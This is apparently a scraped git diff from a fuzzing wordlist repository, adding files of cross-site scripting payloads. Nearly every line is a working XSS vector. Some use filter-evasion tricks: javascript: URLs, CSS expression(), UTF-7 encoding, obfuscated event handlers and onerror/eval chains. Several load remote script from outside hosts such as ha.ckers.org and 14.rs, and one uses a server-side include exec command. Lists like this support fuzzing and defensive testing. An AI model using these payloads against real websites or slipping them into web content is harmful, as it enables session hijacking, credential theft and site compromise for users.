<META HTTP-EQUIV="Link" Content="<javascript:alert('XSS')>; REL=stylesheet">
|
||||
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
|
||||
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
|
||||
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
|
||||
<TABLE BACKGROUND="javascript:alert('XSS')">
|
||||
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
|
||||
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
|
||||
<DIV STYLE="width: expression(alert('XSS'));">
|
||||
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
|
||||
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
|
||||
<XSS STYLE="xss:expression(alert('XSS'))">
|
||||
exp/*<XSS STYLE='no\xss:noxss("*//*");
|
||||
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
|
||||
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
|
||||
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
|
||||
<BASE HREF="javascript:alert('XSS');//">
|
||||
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
|
||||
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
|
||||
getURL("javascript:alert('XSS')")
|
||||
a="get";
|
||||
<!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC="javas<![CDATA[cript:alert('XSS');">
|
||||
<XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML>
|
||||
<HTML><BODY>
|
||||
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
|
||||
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"-->
|
||||
<? echo('<SCR)';
|
||||
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
|
||||
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
|
||||
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
22
Fuzzing/XSS/robot-friendly/XSS-Somdev.txt
Normal file
22
Fuzzing/XSS/robot-friendly/XSS-Somdev.txt
Normal file
@ -0,0 +1,22 @@
|
||||
<svg%0Aonload=%09((pro\u006dpt))()//
|
||||
<sCriPt x>(((confirm)))``</scRipt x>
|
||||
<w="/x="y>"/OndbLcLick=`<`[confir\u006d``]>z
|
||||
<deTAiLs/open/oNtoGGle=confirm()>
|
||||
<scRiPt y="><">/*<sCRipt* */prompt()</script
|
||||
<A href="javascript%26colon;confirm()">click
|
||||
<sVg oNloaD=write()>
|
||||
<A href=javas%26#99;ript:alert(1)>click
|
||||
<sCrIpt/"<a"/srC=data:=".<a,[8].some(confirm)>
|
||||
<svG/x=">"/oNloaD=confirm()//
|
||||
<--`<iMG/srC=` onerror=confirm``> --!>
|
||||
<SVg </onlOad ="1> (_=prompt,_(1)) "">
|
||||
<!--><scRipT src=//14.rs>
|
||||
<sCriPt/src=//14.rs?
|
||||
<sCRIpt x=">" src=//15.rs></script>
|
||||
<D3/OnMouSEenTer=[2].find(confirm)>z
|
||||
<D3"<"/OncLick="1>[confirm``]"<">z
|
||||
<D3/OnpOinTeReENter=confirm``>click here
|
||||
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
|
||||
<Z oncut=alert()>x
|
||||
<iFrAMe/src \/\/onload = prompt(1)
|
||||
<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>
|
||||
|
After Width: | Height: | Size: 829 B |
@ -0,0 +1,8 @@
|
||||
<script>onerror=alert;throw 1337</script>
|
||||
<script>{onerror=alert}throw 1337</script>
|
||||
<script>throw onerror=alert,'some string',123,'haha'</script>
|
||||
<script>{onerror=eval}throw'=alert\x281337\x29'</script>
|
||||
<script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}</script>
|
||||
<script>{onerror=prompt}throw{lineNumber:1,columnNumber:1,fileName:'second argument',message:'first argument'}</script>
|
||||
<script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>
|
||||
<script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>
|
||||
Loading…
x
Reference in New Issue
Block a user